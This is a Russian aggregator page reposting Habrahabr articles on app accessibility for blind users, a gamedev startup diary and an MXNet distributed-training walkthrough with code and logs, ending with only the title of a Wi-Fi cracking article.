Немного про способы отображения информации


Те, кто участвовал в создании хотя бы одного приложения с графическим интерфейсом, знают, что существует, по сути, два способа отображения контента на экране: средствами окружения, в котором выполняется программа (Windows Forms в Windows, XML и HTML в Android, ...) и вывод информации собственными средствами программы. Если первый вариант полностью поддерживается программами экранного доступа, так как они используют системные метаданные, то второй способ абсолютно недоступен для скрин-ридеров. Для них экран остаётся девственно чистым, потому что виртуальный курсор скрин-ридера не может найти ни одного объекта, описание которого можно получить.

Но, к сожалению, многие разработчики следуют именно по второму пути. Это происходит по разным причинам: кто-то стремится сделать своё приложение более комфортным визуально, чего не всегда можно добиться системными методами, кто-то хочет минимизировать использование платформозависимого кода.

Больше конкретики


Возьмём несколько программ из разных категорий.

Навигатор


Незрячему человеку нужно уметь самостоятельно перемещаться по городу: ходить за продуктами, приезжать в гости к друзьям, посещать музеи и т.д. Он, научившись пользоваться смартфоном, сразу пытается скачать качественный навигатор с максимально подробной информацией о маршруте.
Первые два приложения в Play Market по запросу «навигатор» — это «Яндекс Навигатор» и «CityGuide». Cтавим оба.

Открываем для начала Яндекс Навигатор. Визуально все очень удобно: комфортное меню, красивые иконки, приятная глазу карта. Для незрячего, который всего этого не видит, главный экран приложения представляет собой строку поиска, даже не подписанную как «поиск», и кнопку непонятного назначения, тоже никак не названную.

Хорошо, открываем CityGuide. В целом все то же самое: удобное, приятное глазу приложение. Однако для слепого это приложение представляет собой абсолютно пустой экран. Если Яндекс Навигатор хотя бы даёт возможность попытаться ввести адрес, то в CityGuide это невозможно.
В итоге, для человека с нарушениями зрения остаются два приложения с очень посредственным пешеходным режимом: Google Maps и OsmAnd.

Клиенты социальных сетей


Всем хочется общения, и слепые — не исключение.

ВКонтакте

Стандартный клиент VK был довольно удобен, как визуально, так и для незрячих, но последнее крупное обновление снизило его доступность почти до нуля. Вызывают трудности главное меню, вызываемое свайпом от левого края экрана, меню новостей или записей на стене, вызываемое свайпом от определённой точки правого края экрана (эту точку нужно ещё увидеть). В общем, приходится пользоваться сторонним приложением «Kate Mobile», разработчик которого очень трепетно отнёсся к доступности с самого начала, и сейчас прислушивается к советам со стороны незрячих.

Web-версия VK, кстати, неплохо оформлена с точки зрения читаемости экранными дикторами, и здесь у меня лично претензий нет.

Telegram

Не все им пользуются, но почти все о нём слышали. Позиционирует себя, как одна из самых комфортных для общения социальных сетей. Но с доступностью здесь совсем беда. Web-версия нечитаема скрин-ридерами больше чем на две трети. Мобильные приложения для iOS и Android ещё менее доступны. Главное меню читается одним контейнером, вся главная страница и страница с чатами тоже прочитывается как единый текст, из которого просто не выбрать нужную строку.

WhatsApp и Viber

Большое спасибо разработчику WhatsApp, доступность на высоте. Озвучивается даже большинство смайликов. Почти так же доступен Viber.

Facebook и Facebook Messenger

Оба эти приложения сделаны по одинаковой схеме и имеют одинаковые проблемы: слишком частое и бессмысленное обновление экрана, сбивающее и заставляющее зависать виртуальный курсор скрин-ридера, и неправильные подписи на некоторых кнопках. Пользоваться можно, но есть затруднения.

Skype

До последнего крупного обновления всё было ужасно: безумные зависания, как со скрин-ридером, так и без него, частые и бессмысленные обновления экрана, неподписанные кнопки… Но после обновления всё стало гораздо лучше. Ничего не тормозит, всё читается, и даже то самое некомфортное, открывающееся прямо поверх чатов меню теперь тоже читается.
Windows-версия приложения доступна примерно на 95%, что не может не радовать. Но Linux-версия имеет огромные проблемы с доступностью.

WeChat

Приложение с множеством возможностей и с почти нулевой доступностью. Проблемы всё те же, что и у скайпа с фейсбуком.

KakaoTalk

Корейцы на высоте. Приложение даже имеет режим специальных возможностей, в котором всё, что недоступно стандартными способами, программа сама направляет напрямую скрин-ридеру. Наверное, самое комфортное после «Kate Mobile» приложение для общения.

Браузеры


Сами по себе браузеры ругать или хвалить почти нет смысла. Полностью доступны Chrome и Firefox на Android, Safari на iOS, Firefox на Windows. Почти полностью озвучивается также Chrome для Windows, но имеет известные проблемы, которые никто не спешит исправлять.
Здесь нужно, скорее, обратить внимание на доступность отдельно взятых сайтов. Например, портал «Госуслуги» с точки зрения доступности почти нулевой. Работать с ним можно, но проблемы есть, а когда речь идёт о документах и деньгах, очень не хочется нажать что-нибудь не так. По факту, сайты многих частных компаний, онлайн игр, крупных и даже мелких производителей озвучены в разы лучше, чем государственный ресурс.

Администрирование и программирование


Да, среди слепых тоже есть программисты, и им тоже хочется комфортно работать. Такая известная среда разработки, как Visual Studio, доступна не более, чем на 50%. Ещё один популярный редактор — QT Creator — озвучивается лишь на 10%, в нём доступны только меню и некоторые кнопки.
 

Текстовые редакторы


Microsoft office полностью адаптирован для программ экранного доступа, и к нему претензий нет. А вот на Android и iOS всё грустно. Polaris office недоступен совсем, другие программы от абсолютно разных разработчиков тоже не озвучиваются. Я не говорю о написании огромных текстов и расширенном форматировании, но просто прочитать документ тоже нереально.
 
 

Итоги


Подведём итоги. Смартфоны и компьютеры очень помогают незрячим в жизни, расширяют их возможности. Но разработчикам многих известнейших приложений стоит обратить внимание на доступность их продуктов для программ экранного доступа.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334982/


Метки:  

Поворот на 360. Из CRM-систем в геймдев #1

Воскресенье, 06 Августа 2017 г. 09:59 + в цитатник


Доброго времени суток. Хоть это не срок, но последние лет восемь я занимался практически только вебом. Работа в интернет-агентстве (раньше это называлось более приземленно — веб-студия), уход на фриланс, работа по контракту с различными ребятами из Америки/Европы, попытки написать свой золотой стартап.

Но спокойное выставление ежемесячных счетов и спокойные восемь часов в день — иногда хочется еще больше проблем на свою голову. Да и найти их оказалось проще простого, достаточно было попробовать написать свою первую игру и столкнуться с ворохом подводных камней, переездов, разворотов, отрицаний и принятий.

И чуть ниже — небольшая заметка о моих размышлениях, начало дорожки в этой довольно непростой области, как я учусь делать игры без ущерба завтраку с сосиской. Play.

Что-то идет не так, хм.


Итак, попытка номер один. Берем slack+youtrack+bitbucket, щепотку аджайла. Вспоминаем правило, что работа занимает все отведенное на нее время, ставим дедлайн в два месяца и не успеваем. Понимаем, что сделать еще один Clash of Clans с наскоку не выйдет и берем идею бесконечного бегунка, убийцы времени. Общая канва первого этапа — прочувствовать все этапы.

Несколько дней на поиск по социальному графу, вот уже команда собрана, мы готовы выполнять амбициозные цели. И спустя две недели приходит понимание, что работа над корпоративным софтом, который в большинстве своем довольно логичен, и работа над игрой — крайне разные вещи. Особенно когда команда разбросана по земному шару.



Длинные ночи, попытка переделать свою голову с принципа "рендер html и смерть" на "onUpdate 60 раз в секунду, 80% кода — хаки и обходы", необходимость отвечать на вопросы формата "Какой высоты прыжок? Бочка должна быть квадратная или круглая? А форма листика на кусте достаточно передает концепцию нашего проекта?".

Было готово около 80 процентов кода, куча графики, разборные 3d модели городов, префабы и прочее. Но доводить до конца мы не стали. По трезвой оценкой — подобного в app store/google play довольно много и лелеять лотерейную мечту инди-разработчика мы не стали.



Небольшой итог полутора месяцев, пусть это будет некая черта:

  • минус ~150 000 рублей
  • понимание, что это довольно сложная область
  • проверка правила Парето в действии
  • собранная черновая информация по процессам

А если попытаться заработать на попытках?


Отказываемся от удаленной работы, от поиска дополнительных людей, которые будут делать что-то за «опыт», «идею» или «можно грабить корованы». Попытаемся разбить задачу на подэтапы и перевести это дело на самоокупаемость, тк по здравому размышлению — хорошую вещь делать необходимо годами и всем нужно что-то кушать.

Два билета, мне и другу, на поезд Благовещенск — Хабаровск, трое суток почти сна на аренду квартир/маленького офиса в подвале/поиск людей/покупку чайника/20л питьевой воды/роутера/пачки гвоздей и молотка.



И решение было найдено и довольно простое. Маркетплейсы. От unity и unreal. Мы просто разбили все шаги по разработке игр и каждый упаковываем в пак.

Это убивает сразу двух зайцев — проходим тщательно и по нескольку раз все шаги, на каждом по несколько сотен долларов зарабатываем. Позволяет и печеньки в офис покупать и приобретать самый ценный капитал — знания.

Проведем еще одну линию:

  • минус ~50 000 рублей
  • плюс ~7 000 рублей
  • 2 отправленных на ревью ассета
  • убрана проблема с разделением работа-дом, бич фрилансеров
  • возможность закопаться во все детали без больших убытков
  • тщательный анализ
  • веселые мозговые штурмы

Дальше?


А дальше — завтра понедельник и мы продолжим движение к глобальной цели — сделать что-то мирового уровня, что-то, на что мы бы смотрели с гордостью. И через некоторое время планирую писать еще заметки о том, как все у нас происходит. Возможно я немного не угадал с форматом, но кнопка «Опубликовать» уже кликнута и пусть будет то, что будет.

Хорошего выходного и до встречи.

P.S: Возможно кому-то интересно что-то живое, выгружу в google drive — goo.gl/NSqCLg.
Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334976/


Метки:  

[Перевод] Распределенное обучение нейронных сетей с MXNet. Часть 1

Воскресенье, 06 Августа 2017 г. 09:40 + в цитатник

Сегодня мы дадим ответ на простой вопрос: "Как работает распределённое обучение (в контексте MXNet)?"


Все примеры кода протестированные на MXNet v0.10.0 и могут не работать (или работать по-другому) в других версиях, однако полагаю, что общие концепции будут неизменимы еще долго.


Ну и последнее перед тем, как мы перейдем к основной части, я хочу выразить благодарность за помощь в написании статьи моим коллегам, без которых эта статья не была бы возможной:


  • Madan Jampani;
  • Suneel Marthi;

Еще хотел бы порекомендовать поднять машинку с DLAMI и выполнить все примеры из статьи самостоятельно, тем более, что они достаточно простые. Для выполнения кода вполне себе подойдет бесплатная машинка на AWS.


С преамбулой окончено, лезем под кат...


Распределенное обучение каким MXNet его видит


В MXNet все участники процесса обучения поделены на 3 логические группы:


  • планировщик (scheduler);
  • сервер (server);
  • рабочий (worker);

Это чисто логическое распределение, так что все участники могут работать на одной машине.


Для начала посмотрим на поверхностное объяснение, что каждый из участников собой представляет:


Планировщик


Планировщик является центральным узлом кластера, отвечает за начальную настройку кластера, обеспечение нужной информацией каждого участника процесса обучения и… ничего более. Мы еще увидим, как он впадает в анабиоз сразу, как только кластер готов начать обучение. И даже когда кластер закончит свое обучение его задачей будет лишь выключить себя.


Думаю, все уже догадались, что в кластере может быть только один планировщик.


Сервер


Сервер выступает в качестве хранилища параметров модели обучения. То есть, если обучается модель в стиле: Y = AX + B, сервер хранит вектора A и B. Еще он отвечает за их корректное обновление. Серверов может быть более чем один, а соответственно есть правило, по которому модель распределяется на несколько серверов. Но это тема отдельной статьи.


Рабочий


Это собственно те участиники кластера, которые непосредственно выполняют обучение модели. Каждый рабочий получает свою часть данных, на которых нужно обучится, считает шаг градиента и отправляет его серверам для обновления модели.


Пример кластера


Давайте возьмем бутафорский пример кластера с:


  • планировщиком на отдельной машине;
  • двумя серверами;
  • тремя машинами с рабочими;

Сам кластер будет выглядеть вот так:


Эта картинка, как и описанная конфигурация, будет использована только для визуализации потока данных.


Инициализация кластера


Мы не будем на практике создавать такой большой кластер как было описано выше, а обойдемся намного более маленьким кластером с 3-мя нодами на одной физической машине. Есть несколько тому причин:


  • проще и дешевле;
  • все логи будут в одном месте, что упростит объяснение;

Перед тем как продолжить, нужно уточнить одну деталь. Для MXNet, распределённое обучение по сути означает, что необходимо использовать KVStore. Имя это — акроним от "Key Value Storage". И по существу — это распределенное хранилище, которое выполняется на серверах и имеет некоторую дополнительную функциональность (например знает, как именно нужно обновлять модель, получив градиентный шаг от рабочего).


Также, поддержка KVStore доступна только в одном из двух вариантах:
  • MXNet был собран вручную, с включенным флагом USE_DIST_KVSTORE=1 или
  • был использован DLAMI (так как в нем фреймворк собран вручную с включенным флагом USE_DIST_KVSTORE=1)


В данной статье я предполагаю, что будет использован MXNet из релиза Jun/Jul DLAMI ( MXNet 0.10.0).
Еще есть не нулевая вероятность, что на момент прочтения, официальный pip пакет MXNet будет иметь поддержку KVStore.

Настало время начать создавать логических участников кластера. Чтобы создать участника достаточно лишь создать некоторые переменные среды и после заимпортировать модуль mxnet.


Планировщик


Первым делом запустим планировщик:


ubuntu:~$ python
>>> import subprocess
>>> import os
>>> scheduler_env = os.environ.copy()
>>> scheduler_env.update({
… "DMLC_ROLE": "scheduler",
… "DMLC_PS_ROOT_PORT": "9000",
… "DMLC_PS_ROOT_URI": "127.0.0.1",
… "DMLC_NUM_SERVER": "1",
… "DMLC_NUM_WORKER": "1",
… "PS_VERBOSE": "2"
… })
>>> subprocess.Popen("python -c ‘import mxnet’", shell=True, env=scheduler_env)

Давайте остановимся тут на секунду, чтобы получить представление о том, что происходит. Первые 4ре линии кода не должны вызывать много вопросов у Python программистов: просто импорт зависимостей и создание окружения ОС. Что интересно здесь, так это то, какие именно обновления в переменные окружающей среды будут внесены:


Начнем с рассмотрения DMLC_ROLE. Давайте посмотрим где именно она используется, а именно в пакете ps-lite. В соответствии с официальным README(в вольном переводе):


Легкая и эффективная реализация сервера для хранения параметров.
Ну а точное место, где переменная среды считывается вот тут (к слову все ссылки на конкретные коммиты).

val = CHECK_NOTNULL(Environment::Get()->find("DMLC_ROLE")); // here  
std::string role(val); 
is_worker_ = role == "worker"; 
is_server_ = role == "server"; 
is_scheduler_ = role == "scheduler"; // and later here
verbose_ = GetEnv("PS_VERBOSE", 0);

Думаю, не стоит быть С++ гуру, чтобы понять, что тут происходит. Логичиская роль нода определяется по строке в этой самой переменной "DMLC_ROLE". Забавно, но похоже тут нет проверки на то, что данная переменная содержит одно из разрешенных значений. Это, потенциально, может привести к интерестным проблемам.


Второе, что нас интересует, это не только где переменная читается, но и где она используется. Что бы рассказать об этом, нужно обратится к файлу van.cc, который будет встречаться нам не раз, вот конкретная линия, где переменная используется и создается переменная "is_scheduler":


scheduler_.hostname = std::string(CHECK_NOTNULL(Environment::Get()->find("DMLC_PS_ROOT_URI"))); 
scheduler_.port = atoi(CHECK_NOTNULL(Environment::Get()->find("DMLC_PS_ROOT_PORT"))); 
scheduler_.role = Node::SCHEDULER; 
scheduler_.id = kScheduler; 
is_scheduler_ = Postoffice::Get()->is_scheduler(); // here

Если быстро пробежаться далее по коду, чтобы посмотреть, что там происходит можно увидеть следующее интересное место:


// get my node info
if (is_scheduler_) { 
  my_node_ = scheduler_; 
} else { 
  auto role = is_scheduler_ ?
     Node::SCHEDULER :
     (Postoffice::Get()->is_worker() ? Node::WORKER : Node::SERVER);

В этом конкретном примере переменная "role" никогда не будет равна Node::SCHEDULER. Так что у вас есть шанс создать pull-request, чтобы это поправить (если еще никто этого не сделал).


Так же глядя на это место понимаешь, что для планировщика не так уж и много работы. Это потому что, в отличии от рабочего и сервера — планировщик использует IP адрес и порт, которые ему были переданы, а не ищет свободный порт в системе.


Идем далее, параметр: DMLC_PS_ROOT_PORT. С этим мы быстро разберемся с учетом уже имеющихся знаний. Вот код, который уже видели:


scheduler_.hostname = std::string(CHECK_NOTNULL(Environment::Get()->find("DMLC_PS_ROOT_URI"))); 
scheduler_.port = atoi(CHECK_NOTNULL(Environment::Get()->find("DMLC_PS_ROOT_PORT"))); // here
scheduler_.role = Node::SCHEDULER; 
scheduler_.id = kScheduler; 
is_scheduler_ = Postoffice::Get()->is_scheduler();

Вновь, это из van.cc. Как не трудно догадаться, это порт, на котором планировщик должен слушать сообщения.


Надеюсь на этом этапе понятно, что DMLC_PS_ROOT_URI это просто ip адрес планировщика. Так что давайте сразу прыгнем к обсуждению DMLC_NUM_SERVER и DMLC_NUM_WORKER.


Так сложилось, что каждый логический нод MXNet в кластере должен знать о всех других нодах. Так что для каждого нода, перед тем как он запустился, в переменных среды записывается как много в кластере рабочих и серверов (число планировщиков ненужно, ибо это всегда 1). К слову эта информация хранится в классе Postoffice (вместе с другой информацией о кластере).


Ну и последний параметр, но пожалуй один из архи-главнейших — PS_VERBOSE. Это заставит наш новосозданный процесс выводить отладочную информацию, что жизненно важно для нас сейчас.


С точки зрения нашей бутафорской диаграммы наш кластер выглядит сейчас как-то так:



Запускаем сервер


Теперь, когда у нас есть планировщик, давайте поднимем сервер. Так как мы поднимаем все логические ноды на одной машине, то нам придётся создать копию параметров окружения и вновь внести туда нужные изменения для того, что бы запустить сервер:


>>> server_env = os.environ.copy()
>>> server_env.update({
… "DMLC_ROLE": "server",
… "DMLC_PS_ROOT_URI": "127.0.0.1",
… "DMLC_PS_ROOT_PORT": "9000",
… "DMLC_NUM_SERVER": "1",
… "DMLC_NUM_WORKER": "1",
… "PS_VERBOSE": "2"
… })
>>> subprocess.Popen(“python -c ‘import mxnet’”, shell=True, env=server_env)

Надеюсь теперь происходящее в коде не вызывает вопросов, но на всякий случай:


  • мы говорим, что новый процесс — сервер (DMLC_ROLE);
  • мы говорим какой IP у планировщика (DMLC_PS_ROOT_URI);
  • мы говорим на каком порту планировщик слушает входящее соединения (DMLC_PS_ROOT_PORT);
  • мы говорим серверу как много рабочих в кластере (DMLC_NUM_WORKER)
  • мы говорим серверу как много серверов в кластере (DMLC_NUM_SERVER)
  • ну и устанавливаем вывод в режим отладки (2)

Тут кто-то может спросить: погодите, я думал что DMLC_PS_ROOT_PORT и DMLC_PS_ROOT_URI для указания IP и порта логического нода, который мы запускаем? Ответом будет — нет, это адрес и порт планировщика, а вот все остальные должны сами разобраться какой у них адрес и найти себе доступный порт в системе. Информация о планировщике им нужна, чтобы постучаться к нему и попросить, чтобы он добавил их в кластер.


После запуска серверов наша диаграмма выглядит вот так:



Запускаем рабочего


Настало время запустить, собственно, самого рабочего и создать KVStore:


>>> os.environ.update({
… "DMLC_ROLE": "worker",
… "DMLC_PS_ROOT_URI": "127.0.0.1",
… "DMLC_PS_ROOT_PORT": "9000",
… "DMLC_NUM_SERVER": "1",
… "DMLC_NUM_WORKER": "1",
… "PS_VERBOSE": "2"
… })
>>> worker_env = os.environ.copy() 
>>> import mxnet
>>> kv_store = mxnet.kv.create(‘dist_async’)

К слову, KVStore может работать в двух режимах:


  • dist_sync
  • dist_async

Я оставлю за пытливым читателем вопрос о том, чем эти режимы отличаются, об этом можно почитать вот тут.


После запуска рабочих, наша диаграмма будет выглядеть вот так:


Жизненный цикл ноды (Van)


Перед тем как бросится обсуждать, что происходит в момент создания KVStore, нужно рассказать о том, что у каждой ноды есть жизненный цикл, у которого есть следующие события:


  • Start — запуск
  • Stop — остановка
  • Receiving — получение сообщения

Так же, тот самый класс (Van), что отвечает за обработку этих событий, имеет несколько других, не менее важных методов. О части из них мы поговорим детально позже в других статьях, а сейчас просто перечислим:


  • Send — отправляет сообщение
  • PackMeta — конвертирует модель в proto сообщение
  • UnpackMeta — распаковывает proto сообщение и создает модель
  • HeartBeat — посылает сообщение, что он еще жив

Вот что выполняет каждая нода в момент, когда приходит сигнал Start:



Инициализация кластера


Как только все команды, приведенные выше, будут выполнены, на экране должно показаться много отладочной информации, которая приходит от трех ранее запущенных процессов одновременно. Пройдемся теперь по каждой линии, чтобы детально обсудить, что происходит и как будет выглядеть наша диаграмма на каждом этапе.


[00:33:12] src/van.cc:75: Bind to role=worker, ip=1.1.1.1, port=37350, is_recovery=0

Это запускается процесс рабочего. В данном случае это метод Start, который сообщает нам, что его адрес 1.1.1.1, роль "worker" и порт, который он нашел 37350. Теперь он моментально попробует уведомить планировщик, что он готов быть добавлен в кластер, указав свой адрес и порт:


[00:33:12] src/van.cc:136:? => 1. Meta: request=0, timestamp=3, control={ cmd=ADD_NODE, node={ role=worker, ip=1.1.1.1, port=37350, is_recovery=0 } }

Это конкретное сообщение сгенерировано в методе Send, вот тут. В нем нужно обратить внимание на несколько вещей:


  • is_recovery=0 — сообщает, что он не в режиме восстановления, эта часть выходит за рамки данной статьи
  • cmd=ADD_NODE — команда планировщику добавить рабочего в кластер
  • ? => 1 — у каждого нода есть свой ранг. Ранг назначаеться планировщиком. Сам планировщик имеет ранг 1. В нашем случае нода без ранга отправляет сообщение ноде с рангом 1(планировщик).

На нашей диаграмме этот обмен сообщениями выглядит следующим образом:


Идем далее


[00:33:13] src/van.cc:75: Bind to role=server, ip=2.2.2.2, port=54160, is_recovery=0

Это проснулся наш сервер. Нашел себе порт (54160) и тут же пытается уведомить об этом планировщик:


[00:33:13] src/van.cc:136:? => 1. Meta: request=0, timestamp=0, control={ cmd=ADD_NODE, node={ role=server, ip=2.2.2.2, port=54160, is_recovery=0 } }

На диаграмме это выглядит вот так:



Так же, как и в случае с рабочим, наш сервер отправляет команду "ADD_NODE", чтобы его зарегистрировали в кластере. Так, как сервер еще не зарегистрирован в кластере и не имеет ранга, то мы видим: "? => 1".


[00:33:13] src/van.cc:75: Bind to role=scheduler, id=1, ip=127.0.0.1, port=9000, is_recovery=0

Наконец то планировщик запущен. Он использует локальный IP и порт 9000 (все ноды в кластере должны уже знать об его адресе и порте). Так как планировщик поднят, то логично ожидать, что в этот момент он получит все входящие сообщения, что были ему отправлены и… вуаля:


[00:33:13] src/van.cc:161:? => 1. Meta: request=0, timestamp=0, control={ cmd=ADD_NODE, node={ role=server, ip=2.2.2.2, port=54160, is_recovery=0 } }

Сообщение от сервера. Эта часть логов сгенерирована методом Receive, если быть еще более точным то вот тут. Тут же планировщик получает второе сообщение, на этот раз от рабочего:


[00:33:13] src/van.cc:161:? => 1. Meta: request=0, timestamp=3, control={ cmd=ADD_NODE, node={ role=worker, ip=1.1.1.1, port=37350, is_recovery=0 } }

Первым делом планировщик берется назначать ранги, вначале рабочему (9):


[00:33:13] src/van.cc:235: assign rank=9 to node role=worker, ip=1.1.1.1, port=37350, is_recovery=0

Теперь серверу (8):


[00:33:13] src/van.cc:235: assign rank=8 to node role=server, ip=2.2.2.2, port=54160, is_recovery=0

После идет довольно важная часть:


[00:33:13] src/van.cc:136:? => 9. Meta: request=0, timestamp=0, control={ cmd=ADD_NODE, node={ role=worker, id=9, ip=1.1.1.1, port=37350, is_recovery=0 role=server, id=8, ip=2.2.2.2, port=54160, is_recovery=0 role=scheduler, id=1, ip=127.0.0.1, port=9000, is_recovery=0 } }

Сообщения вроде этих показывают, что планировщик получил команды "ADD_NODE" от всех, нод кластера (в нашем случае от 1го рабочего и 1го сервера) и теперь начал уведомлять все ноды обратно о их рангах и об информации о всех других нодах в кластере. То есть планировщик отправляет ВСЮ информацию о КАЖДОМ ноде кластера КАЖДОМУ ноду кластера.


В данном конкретном сообщении мы видим все данные о кластере и это сообщение отправлено ноде с рангом 9 (это работник). Информация о кластере жизненно важна, так как она нужна рабочему, например, чтобы понять, на какой сервер отправлять обновление модели.


На диаграмме этот процесс выглядит вот так:


Следующий вывод:


[00:33:13] src/van.cc:136:? => 8. Meta: request=0, timestamp=1, control={ cmd=ADD_NODE, node={ role=worker, id=9, ip=1.1.1.1, port=37350, is_recovery=0 role=server, id=8, ip=2.2.2.2, port=54160, is_recovery=0 role=scheduler, id=1, ip=127.0.0.1, port=9000, is_recovery=0 } }

Такое же подтверждение планировщик отправляет ноде с рангом 8 (сервер). На диаграмме выглядит так:


[00:33:13] src/van.cc:251: the scheduler is connected to 1 workers and 1 servers

Планировщик радостно сообщил, что он подключён к одному рабочему и одному серверу (ко всем нодам кластера).


Напоминание — при запуске на реальном кластере все эти логи находятся на разных машинах, посему сейчас может показаться, что тут информации больше чем нужно.


[00:33:13] src/van.cc:161: 1 => 2147483647. Meta: request=0, timestamp=0, control={ cmd=ADD_NODE, node={ role=worker, id=9, ip=1.1.1.1, port=37350, is_recovery=0 role=server, id=8, ip=2.2.2.2, port=54160, is_recovery=0 role=scheduler, id=1, ip=127.0.0.1, port=9000, is_recovery=0 } }
[00:33:13] src/van.cc:281: W[9] is connected to others

Это рабочий получил сообщения от планировщика и сообщает, что он подключен к кластеру. Можно спросить, а что такое "2147483647". Ответ — понятия не имею =) скорее всего бага, Я бы ожидал увидеть: "1 =>9". Так, как рабочий корректно видит свой ранг: "W[9]", баг скорее всего где-то в процессе логирования, так что можете его пофиксить и стать контрибьютором проекта.


[00:33:13] src/van.cc:161: 1 => 2147483647. Meta: request=0, timestamp=1, control={ cmd=ADD_NODE, node={ role=worker, id=9, ip=1.1.1.1, port=37350, is_recovery=0 role=server, id=8, ip=2.2.2.2, port=54160, is_recovery=0 role=scheduler, id=1, ip=127.0.0.1, port=9000, is_recovery=0 } }
[00:33:13] src/van.cc:281: S[8] is connected to others

Тоже самое для сервера: он получил сообщение и довольный поведал об этому миру.


[00:33:13] src/van.cc:136:? => 1. Meta: request=1, timestamp=4, control={ cmd=BARRIER, barrier_group=7 }
[00:33:13] src/van.cc:136:? => 1. Meta: request=1, timestamp=2, control={ cmd=BARRIER, barrier_group=7 }
[00:33:13] src/van.cc:136:? => 1. Meta: request=1, timestamp=1, control={ cmd=BARRIER, barrier_group=7 }

Еще одна важная часть. До сих пор мы видели только одну команду "ADD_NODE". Тут мы наблюдаем новую: "BARRIER". Если кратко, то эта концепция барьеров, которая, надеюсь, знакома читателю по многопоточному программированию и означает: "остановитесь до тех пор, пока все не дойдут до этого барьера". Планировщик отвечает за то, чтобы сообщить, когда именно все достигнут барьера и могут продолжать выполнение. Первый барьер расположен сразу после того, как кластер стартовал, но перед началом обучения. Все три ноды (включая сам планировщик) отправили сообщения, которое по существу значит: "я достиг барьера, дай мне знать, когда можно двигаться далее".


Так же, как видно из сообщения тут есть понятие барьерной группы(barrier_group). Барьерная группа эту группа нодов, которые участвуют в том или ином барьере. Эти группы:
1 — планировщик
2 — сервера
4 — рабочие


Как не трудно догадаться, это степень двойки, так что наша группа 7 это: 4 + 2 + 1. По существу данный барьер распространяется на всех.


Ну и само собой, так как в наших логах, мы увидели три отправки сообщения, логично ожидать три строки о получении планировщиком этих сообщений:


[00:33:13] src/van.cc:161: 1 => 1. Meta: request=1, timestamp=2, control={ cmd=BARRIER, barrier_group=7 }
[00:33:13] src/van.cc:291: Barrier count for 7: 1
[00:33:13] src/van.cc:161: 9 => 1. Meta: request=1, timestamp=4, control={ cmd=BARRIER, barrier_group=7 }
[00:33:13] src/van.cc:291: Barrier count for 7: 2
[00:33:13] src/van.cc:161: 8 => 1. Meta: request=1, timestamp=1, control={ cmd=BARRIER, barrier_group=7 }
[00:33:13] src/van.cc:291: Barrier count for 7: 3

Происходящее на нашей диаграмме выглядит вот так:


Теперь настало время обсудить, что делает планировщик, когда получает новое сообщение о том, что нода достигла барьера в определенной группе:


  • он увеличивает счетчик числа нодов, которые отправили команду BARRIER в определенной группе (вот тут)
  • когда счетчик будет равен числу нодов в группе, он отправляет всем подтверждение о том, что можно продолжить нормальную работу

В логах выше можно увидеть, как счетчик увеличивался по мере получения каждого нового сообщения. Ну а в момент, когда он достиг ожидаемого размера (3), планировщик начал отправлять подтверждения:


[00:33:13] src/van.cc:136:? => 9. Meta: request=0, timestamp=3, control={ cmd=BARRIER, barrier_group=0 }
[00:33:13] src/van.cc:136:? => 8. Meta: request=0, timestamp=4, control={ cmd=BARRIER, barrier_group=0 }
[00:33:13] src/van.cc:136:? => 1. Meta: request=0, timestamp=5, control={ cmd=BARRIER, barrier_group=0 }

На нашей диаграмме это выглядит вот так:


Как можно заметить, планировщик даже отправляет подтверждение самому себе. Ну и само собой, раз было отправлено сообщение от планировщика (аж 3), то мы должны увидеть логи о том, что эти сообщения получены:


[00:33:13] src/van.cc:161: 1 => 9. Meta: request=0, timestamp=3, control={ cmd=BARRIER, barrier_group=0 }
[00:33:13] src/van.cc:161: 1 => 8. Meta: request=0, timestamp=4, control={ cmd=BARRIER, barrier_group=0 }
[00:33:13] src/van.cc:161: 1 => 1. Meta: request=0, timestamp=5, control={ cmd=BARRIER, barrier_group=0 }

Ну и последние прикосновения. В данный момент планировщик достиг второго барьера, который будет достигнут всеми нодами после окончания обучения, однако, так как планировщик не принимает участие в обучении, то он уже достиг этот самый барьер. Так что он отправляет группе barrier_group=7 что он достиг барьер, с мгновенным подтверждением получения сообщения и установкой счетчика барьерной группы 7 в 1.


[00:33:13] src/van.cc:136:? => 1. Meta: request=1, timestamp=6, control={ cmd=BARRIER, barrier_group=7 }
[00:33:13] src/van.cc:161: 1 => 1. Meta: request=1, timestamp=6, control={ cmd=BARRIER, barrier_group=7 }
[00:33:13] src/van.cc:291: Barrier count for 7: 1

На этом этапе инициализация кластера закончена, можно начать обучение...


Обучение


Выполнив весь код, мы имеем инициализированный KVstore. Что же теперь? Давайте используем его для непосредственного обучения. Я воспользуюсь очень простым примером линейного регрессора взятого вот от сюда. Только прошу, перед тем, как продолжить, пройдитесь по примеру, чтобы понять происходящее. Что бы сделать тренировку в описанном примере распределенной, нужно поменять всего 1 линию в коде. Вместо:


model.fit(train_iter, eval_iter,
            optimizer_params={
                'learning_rate':0.005, 'momentum': 0.9},
            num_epoch=50,
            eval_metric='mse',
            batch_end_callback
                 = mx.callback.Speedometer(batch_size, 2))

Нужно написать:


model.fit(train_iter, eval_iter,
            optimizer_params={
                'learning_rate':0.005, 'momentum': 0.9},
            num_epoch=50,
            eval_metric='mse',
            batch_end_callback
                 = mx.callback.Speedometer(batch_size, 2),
            kvstore=kv_store) # updated line

Так просто? если коротко — да.


Небольшое заключение


Надеюсь у читателя теперь есть более детальное понимание того, что происходит с кластером MXNet в момент его старта. Также, я надеюсь, эта статья поможет с отладкой кластера в случае каких либо проблем. Ну и плюс, имея эти знания, можно сделать некоторые выводы о характеристике сети для кластера, а именно:


  • планировщику не критично меть быстрое соединение с остальными
  • серверам не критично иметь быстрое соединении между собой
  • каждый рабочий должен иметь быстрое соединение с каждым сервером
  • рабочим не критично иметь быстрое соединение с друг другом

Буду очень благодарен за рекомендации оригинальной статьи на Medium. Так же, если вдруг вы занимаетесь построением распределённых систем машинного обучения на базе AWS с использованием MXNet и у вас есть какие либо вопросы, то я с радостью готов помочь и ответить (viacheslav@kovalevskyi.com).


Ссылки:


Original source: habrahabr.ru (comments, light).

https://habrahabr.ru/post/334968/


Метки:  

[Перевод] Взлом Wi-Fi

Суббота, 05 Августа 2017 г. 23:09 + в цитатник

Взлом маршрутизаторов WPA/WPA2 Wi-Fi с помощью Airodump-ng и Aircrack-ng/Hashcat


